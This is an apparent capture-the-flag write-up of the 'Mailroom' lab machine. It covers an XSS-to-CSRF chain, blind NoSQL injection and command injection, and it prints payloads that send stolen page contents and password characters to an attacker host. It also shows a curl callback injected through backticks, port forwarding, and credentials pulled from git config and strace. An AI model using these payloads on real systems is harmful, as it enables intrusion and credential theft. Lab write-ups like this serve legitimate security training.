Mailroom
Gaining Access
Nmap scan:
$ nmap -p- --min-rate 3000 10.129.58.204
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-16 02:08 EDT
Nmap scan report for 10.129.58.204
Host is up (0.17s latency).
Not shown: 65512 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Another HTTP port exploit. We can add mailroom.htb
to our /etc/hosts
file for this.
MailRoom
Visiting port 80 reveals a basic corporate website:

Viewing the paces reveals that this is a PHP based website. Within the functions available on the page, we can find a Contact Us page that tells us an AI will read our query.

Interesting, perhaps we can send a request that is processed or something. However, there's not much we can go on.
The webpage itself doesn't have much, so I opted to do a ffuf
scan on the subdomains and directories present. When fuzzing subdomains, I found git.mailroom.htb
.
$ ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://mailroom.htb -H "Host: FUZZ.mailroom.htb" -fs 7748
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://mailroom.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.mailroom.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 7748
________________________________________________
git [Status: 200, Size: 13201, Words: 1009, Lines: 268, Duration: 190ms]
Let's add this to our hosts file and enumerate further.
Gitea Source Code
There was a Gitea instance on the new subdomain. I didn't manage to find any exploits pertaining to this version. Within the repos present, we can see a staffroom repo by the user matthew
.

Interestingly, we could view this repo without logging in. Within the auth.php
files, we can find a new subdomain.
if(($user['2fa_token'] && ($now - $user['token_creation']) > 60) || !$user['2fa_token']) {
$collection->updateOne(
['_id' => $user['_id']],
['$set' => ['2fa_token' => $token, 'token_creation' => $now]]
);
// Send an email to the user with the 2FA token
$to = $user['email'];
$subject = '2FA Token';
$message = 'Click on this link to authenticate: http://staff-review-panel.mailroom.htb/auth.php?token=' . $token;
mail($to, $subject, $message);
}
We can add this to our hosts file, but we are not authorized to visit it for some reason. Since we have source code for this website given, we can attempt to do CSRF to steal pages, and I think that the Contact Us page might be vulnerable to XSS.
When looking at the inspect.php
file on Gitea, there's this code snippet that looks vulnerable to RCE:
if (isset($_POST['inquiry_id'])) {
$inquiryId = preg_replace('/[\$<>;|&{}\(\)\[\]\'\"]/', '', $_POST['inquiry_id']);
$contents = shell_exec("cat /var/www/mailroom/inquiries/$inquiryId.html");
// Parse the data between and </p>
$start = strpos($contents, '<p class="lead mb-0">');
if ($start === false) {
// Data not found
$data = 'Inquiry contents parsing failed';
} else {
$end = strpos($contents, '</p>', $start);
$data = htmlspecialchars(substr($contents, $start + 21, $end - $start - 21));
}
}
This uses shell_exec
with an argument that is not sanitised. This is the RCE point! There's a weak check for the RCE, as it does not block `. So we have to somehow send requests to this page after logging in, as this check is present on all pages:
session_start(); // Start a session
// Check if authorized
if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
header('Location: index.php'); // The user is NOT logged in, redirect back to the login page
exit;
}
By checking auth.php
, we can see that this uses Mongo to authenticate users:
$client = new MongoDB\Client("mongodb://mongodb:27017"); // Connect to the MongoDB database
header('Content-Type: application/json');
if (!$client) {
header('HTTP/1.1 503 Service Unavailable');
echo json_encode(['success' => false, 'message' => 'Failed to connect to the database']);
exit;
}
Doing some source code reading reveals that there is a 2FA token created, and we need this token to login by accessing /auth.php?token=
. The script takes an email and password parameter from a POST request, and passes the unsanitised input directly to a query:
if (!is_string($_POST['email']) || !is_string($_POST['password'])) {
header('HTTP/1.1 401 Unauthorized');
echo json_encode(['success' => false, 'message' => 'Invalid input detected']);
}
// Check if the email and password are correct
$user = $collection->findOne(['email' => $_POST['email'], 'password' => $_POST['password']]);
So the exploit path is to somehow use NoSQL to retrieve the token, and then login. However, this seems to send the 2FA token to the user's email, so stealing it won't work. It seems that we need to somehow steal credentials from this.
Viewing the Gitea users, we can find two:

We might need to use these somehow. Also, the script seems to be vulnerable to blind NoSQL injection based on the error messages it sends. Based on the auth.php
script, if get a true
condition, we would get the Check inbox for 2FA token
message. If not, we would get the Invalid email or password
error.
XSS + CSRF
When we submit any queries, this is the response that we get:

If we enter a simple <script>
tag and view the page, we can confirm that we have XSS.

This tells me that Javascript is being executed on the page, and we can attempt to steal page contents via CSRF.
I tried using some Javascript to load the index.php
page from the staffroom repo to exploit it.
<script>var url = "http://staff-review-panel.mailroom.htb/index.php";
var attacker = "http://10.10.16.31/out";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);</script>
We just have to URL encode this entire thing and submit it as part of a POST request.
POST /contact.php HTTP/1.1
Host: mailroom.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 610
Origin: http://mailroom.htb
Connection: close
Referer: http://mailroom.htb/contact.php
Upgrade-Insecure-Requests: 1
email=user%40user.com&title=%3Cscript%3Evar%20url%20%3D%20%22http%3A%2F%2Fstaff-review-panel.mailroom.htb%2Findex.php%22%3B%0Avar%20attacker%20%3D%20%22http%3A%2F%2F10.10.16.31%2Fout%22%3B%0Avar%20xhr%20%20%3D%20new%20XMLHttpRequest%28%29%3B%0Axhr.onreadystatechange%20%3D%20function%28%29%20%7B%0A%20%20%20%20if%20%28xhr.readyState%20%3D%3D%20XMLHttpRequest.DONE%29%20%7B%0A%20%20%20%20%20%20%20%20fetch%28attacker%20%2B%20%22%3F%22%20%2B%20encodeURI%28btoa%28xhr.responseText%29%29%29%0A%20%20%20%20%7D%0A%7D%0Axhr.open%28%27GET%27%2C%20url%2C%20true%29%3B%0Axhr.send%28null%29%3B%3C%2Fscript%3E&message=test
Then, we would receive a callback with the page contents:

We have successfully stole the page, and now we can exploit this by stealing the token via NoSQL injection as found earlier. Based on this, we can attempt to send requests to auth.php
and possibly brute force the password for a user.
Since we can use XSS, we can make the webpage process Javascript that is hosted on our HTTP server. First, I created a quick script to send the XSS payload and retrieve the inquiries URL that we need to visit to trigger the payload.
import requests
import re
contact = 'http://10.129.61.14/contact.php'
data = 'email=test@test.com&title=test&message=%3Cscript%20src%3D%22http%3A%2F%2F10.10.16.31%2Fbrute.js%22%3C%2Fscript%3E'
headers = {
"Content-Type":"application/x-www-form-urlencoded",
}
r = requests.post(contact, data=data, headers=headers)
inquiry = r'href=\"./inquiries/[a-z0-9]{32}.html'
inquiry = str(re.search(inquiry, r.text))
inquiry = str(inquiry.split('"')[1])
inquiry = inquiry[:-1]
inquiry = inquiry[1:]
#print(inquiry)
trigger = f'http://10.129.61.14{inquiry}'
p = requests.get(trigger)
Then, we need to craft a special JS script that would allow us to brute force the password, and exfiltrate it onto our web server. This can be done using regex Blind NoSQL injection.
While there is probably a way to automate this to retrieve the full password with one run, I was unable to make that work for whatever reason and could only brute force 1 character each time. Here's the Javascript code I used to brute force it:
var char_set = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_@!?";
var valid_pass = "";
var found_char = false;
for (let k = 0; k < char_set.length && !found_char; k++) {
var xhr = new XMLHttpRequest();
xhr.onload = handleResponse;
xhr.open("POST", "http://staff-review-panel.mailroom.htb/auth.php", true);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded;charset=UTF-8');
xhr.send(encodeURI('email=tristan@mailroom.htb&password[$regex]=^' + valid_pass + char_set[k] + '.*'));
function handleResponse() {
var response = xhr.responseText;
if (response.includes("2FA")) {
var call = new XMLHttpRequest();
call.open('get', 'http://10.10.16.31/?pass=' + char_set[k], true);
call.send();
} else if (response.includes("Invalid password")) {
found_char = true;
}
};
}
// again, i had help from ruycraft for this script!
With this, I was able to retrieve the password character by character:

After repeating this a load of times and resetting the machine even more times, I was able to retrieve 69trisRulez!
as the full password. This password happens to be the password to SSH in as tristan
as well.
Port Fowarding -> RCE
Now that we have access to the machine, we can do some port forwarding to make the website available for us. I used chisel
:
# on tristan's
./chisel client 10.10.16.31:1080 R:80:127.0.0.1:80
# on kali
chisel server -p 1080 --reverse
Then, we can add staff-review-panel.mailroom.htb
to our /etc/hosts
file as 127.0.0.1
. Afterwards, we can visit the website!

We already found a password, so we can login. This would cause the application to send a mail to tristan
, which we can read in /var/mail/tristan
.
Click on this link to authenticate: http://staff-review-panel.mailroom.htb/auth.php?token=6daeea709d39154b9a49f900ffafcaf2
From noreply@mailroom.htb Tue Apr 18 04:05:54 2023
Return-Path: <noreply@mailroom.htb>
X-Original-To: tristan@mailroom.htb
Delivered-To: tristan@mailroom.htb
Received: from localhost (unknown [172.19.0.5])
by mailroom.localdomain (Postfix) with SMTP id 9D922D95
for <tristan@mailroom.htb>; Tue, 18 Apr 2023 04:05:54 +0000 (UTC)
Subject: 2FA
Click on this link to authenticate: http://staff-review-panel.mailroom.htb/auth.php?token=fe298deab0eb116d330d4c126cfc9414
Visiting the link would refer us to the dashboard.php
:

Great! We have logged in. Earlier, we found an RCE in the inquiry_id
parameter, so let's exploit that.
POST /inspect.php HTTP/1.1
Host: staff-review-panel.mailroom.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 43
Origin: http://staff-review-panel.mailroom.htb
Connection: close
Referer: http://staff-review-panel.mailroom.htb/inspect.php
Cookie: PHPSESSID=258a0de5b6d723eaa26caa846646bb36
Upgrade-Insecure-Requests: 1
inquiry_id=`curl+10.10.16.31:1234/rcecfmed`
$ python3 -m http.server 1234
Serving HTTP on 0.0.0.0 port 1234 (http://0.0.0.0:1234/) ...
10.129.61.100 - - [18/Apr/2023 00:08:29] code 404, message File not found
10.129.61.100 - - [18/Apr/2023 00:08:29] "GET /rcecfmed HTTP/1.1" 404 -
Great! Now we can simply download a shell and execute it.

Now we are in a docker container.
Git Credentials
Within the /var/www/staffroom
directory, we can find a .git
repository:
www-data@5adcedc19d48:/var/www/staffroom$ ls -la
total 68
drwxr-xr-x 7 root root 4096 Jan 19 10:54 .
drwxr-xr-x 5 root root 4096 Jan 15 17:58 ..
drwxr-xr-x 8 root root 4096 Jan 19 10:56 .git
-rw-r--r-- 1 root root 0 Jan 15 17:59 README.md
-rwxr-xr-x 1 root root 3453 Jan 19 10:54 auth.php
-rwxr-xr-x 1 root root 62 Jan 15 17:59 composer.json
-rwxr-xr-x 1 root root 8096 Jan 15 17:59 composer.lock
drwxr-xr-x 2 root root 4096 Jan 15 17:59 css
-rwxr-xr-x 1 root root 5848 Jan 19 10:52 dashboard.php
drwxr-xr-x 3 root root 4096 Jan 15 17:59 font
-rwxr-xr-x 1 root root 2594 Jan 15 17:59 index.php
-rwxr-xr-x 1 root root 6326 Jan 18 13:26 inspect.php
drwxr-xr-x 2 root root 4096 Jan 15 17:59 js
-rwxr-xr-x 1 root root 953 Jan 15 17:59 register.html
drwxr-xr-x 6 root root 4096 Jan 15 17:59 vendor
We could read the logs, but since Gitea is present, there probably isn't anything that I haven't already found. Instead, we can look at git config
to see if there are passwords:
www-data@5adcedc19d48:/var/www/staffroom$ git config --list
WARNING: terminal is not fully functional
- (press RETURN)core.repositoryformatversion=0
core.filemode=true
core.bare=false
core.logallrefupdates=true
remote.origin.url=http://matthew:HueLover83%23@gitea:3000/matthew/staffroom.git
remote.origin.fetch=+refs/heads/*:refs/remotes/origin/*
branch.main.remote=origin
branch.main.merge=refs/heads/main
user.email=matthew@mailroom.htb
Great! We cannot directly SSH into matthew
, so we can use su
from tristan
. The password would be HueLover83#
.
tristan@mailroom:~/.ssh$ su matthew
Password:
matthew@mailroom:/home/tristan/.ssh$
Then, we can capture the user flag.
Privilege Escalation
KPCli Processes
When on matthew, I ran a pspy64
to enumerate the processes running and if we could exploit them. Here's the interesting output:
2023/04/18 04:22:11 CMD: UID=1001 PID=81633 | /usr/bin/perl /usr/bin/kpcli
2023/04/18 04:22:11 CMD: UID=1001 PID=81627 | /lib/systemd/systemd --user
2023/04/18 04:22:11 CMD: UID=1001 PID=81611 | ./pspy64
2023/04/18 04:22:11 CMD: UID=1001 PID=81318 | bash
2023/04/18 04:22:28 CMD: UID=1001 PID=81628 |
2023/04/18 04:22:31 CMD: UID=1001 PID=81692 | /lib/systemd/systemd --user
2023/04/18 04:22:31 CMD: UID=1001 PID=81694 | (sd-executor)
2023/04/18 04:22:31 CMD: UID=1001 PID=81695 | (direxec)
2023/04/18 04:22:31 CMD: UID=1001 PID=81696 | (sd-executor)
2023/04/18 04:22:31 CMD: UID=1001 PID=81712 | /lib/systemd/systemd --user
2023/04/18 04:22:31 CMD: UID=1001 PID=81713 | -bash -c /usr/bin/kpcli
2023/04/18 04:22:31 CMD: UID=1001 PID=81714 | -bash -c /usr/bin/kpcli
Interestingly, there are a lot of kpcli
processes running, which are not normal. We can also use ps -aux
to see this:
matthew@mailroom:~$ ps -aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
matthew 81318 0.0 0.1 8388 5332 pts/1 S 04:19 0:00 bash
matthew 81792 0.0 0.1 8264 4852 pts/2 S+ 04:22 0:00 bash
matthew 82057 0.7 0.2 19184 9704 ? Ss 04:24 0:00 /lib/systemd/systemd --user
matthew 82063 1.3 0.6 29436 24428 ? Ss 04:24 0:00 /usr/bin/perl /usr/bin/kpcli
Within the user's home directory, there are also some kdbx files present:
matthew@mailroom:~$ ls
personal.kdbx personal.kdbx.lock user.txt pspy64
Perhaps what's more interesting is that the PID keeps increasing, indicating that new processes keep spawning in. I used ltrace
and strace
to see what these processes were doing, and I found something rather interesting. When I first did it I huge list of responses, but there were a bunch of read
instructions. As such, -e read
was used to filter these out.
matthew@mailroom:/home/tristan$ strace -e read -p 82471
strace: Process 82471 attached
read(3, "R", 1) = 1
read(3, "o", 1) = 1
read(3, "o", 1) = 1
read(3, "t", 1) = 1
read(3, "/", 1) = 1
read(3, "\n", 1) = 1
read(3, "s", 1) = 1
read(3, "h", 1) = 1
read(3, "o", 1) = 1
read(3, "w", 1) = 1
read(3, " ", 1) = 1
read(3, "-", 1) = 1
read(3, "f", 1) = 1
read(3, " ", 1) = 1
read(3, "0", 1) = 1
read(3, "\n", 1) = 1
read(3, "q", 1) = 1
read(3, "u", 1) = 1
read(3, "i", 1) = 1
read(3, "t", 1) = 1
read(3, "\n", 1) = 1
read(7, "# NOTE: Derived from blib/lib/Te"..., 8192) = 665
read(7, "", 8192) = 0
This was obviously retrieving the root password each time and quitting. I interecepted the response again and got something different:
matthew@mailroom:/home/tristan$ strace -e read -p 82678
strace: Process 82678 attached
read(0, 0x55e8422dd9c0, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, "r", 8192) = 1
read(0, 0x55e8422dd9c0, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, "d", 8192) = 1
read(0, 0x55e8422dd9c0, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x55e8422dd9c0, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, "9", 8192) = 1
read(0, 0x55e8422dd9c0, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x55e8422dd9c0, 8192) = -1 EAGAIN (Resource temporarily unavailable)
read(0, "\n", 8192) = 1
read(5, "\3\331\242\232g\373K\265\1\0\3\0\2\20\0001\301\362\346\277qCP\276X\5!j\374Z\377\3"..., 8192) = 1998
read(5, "\npackage Compress::Raw::Zlib;\n\nr"..., 8192) = 8192
read(5, " if $validate && $value !~ /^\\d+"..., 8192) = 8192
read(5, " croak \"Compress::Raw::Zlib::"..., 8192) = 8192
read(5, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0)\0\0\0\0\0\0"..., 832) = 832
read(5, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\200\"\0\0\0\0\0\0"..., 832) = 832
read(5, "# XML::Parser\n#\n# Copyright (c) "..., 8192) = 8192
read(6, "package XML::Parser::Expat;\n\nuse"..., 8192) = 8192
read(6, ";\n }\n}\n\nsub position_in_conte"..., 8192) = 8192
read(6, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\240<\0\0\0\0\0\0"..., 832) = 832
read(6, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0000B\0\0\0\0\0\0"..., 832) = 832
read(5, "package MIME::Base64;\n\nuse stric"..., 8192) = 5450
read(5, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\300\22\0\0\0\0\0\0"..., 832) = 832
read(6, "\3\331\242\232g\373K\265\1\0\3\0\2\20\0001\301\362\346\277qCP\276X\5!j\374Z\377\3"..., 8192) = 1998
The password was obviously being passed here. After trying a bit more, we can barely retrieve the password from this.
read(0, "!", 8192) = 1
read(0, "s", 8192) = 1
read(0, "E", 8192) = 1
read(0, "c", 8192) = 1
read(0, "U", 8192) = 1
read(0, "r", 8192) = 1
read(0, "3", 8192) = 1
<TRUNCATED>
read(0, "\10", 8192)
There was this \10 character present, and I didn't really know what it was. When we view the ASCII table, \10 is revealed to be a backspace character, meaning there's an intentional typo in the password. We can then use the password retrieved to access the .kdbx
file we found.

Within this file was the root
password.
kpcli:/Root> show -f 4
Title: root acc
Uname: root
Pass: <REMOVED>
URL:
Notes: root account for sysadmin jobs
Now we can su
to root and finish the machine.

Last updated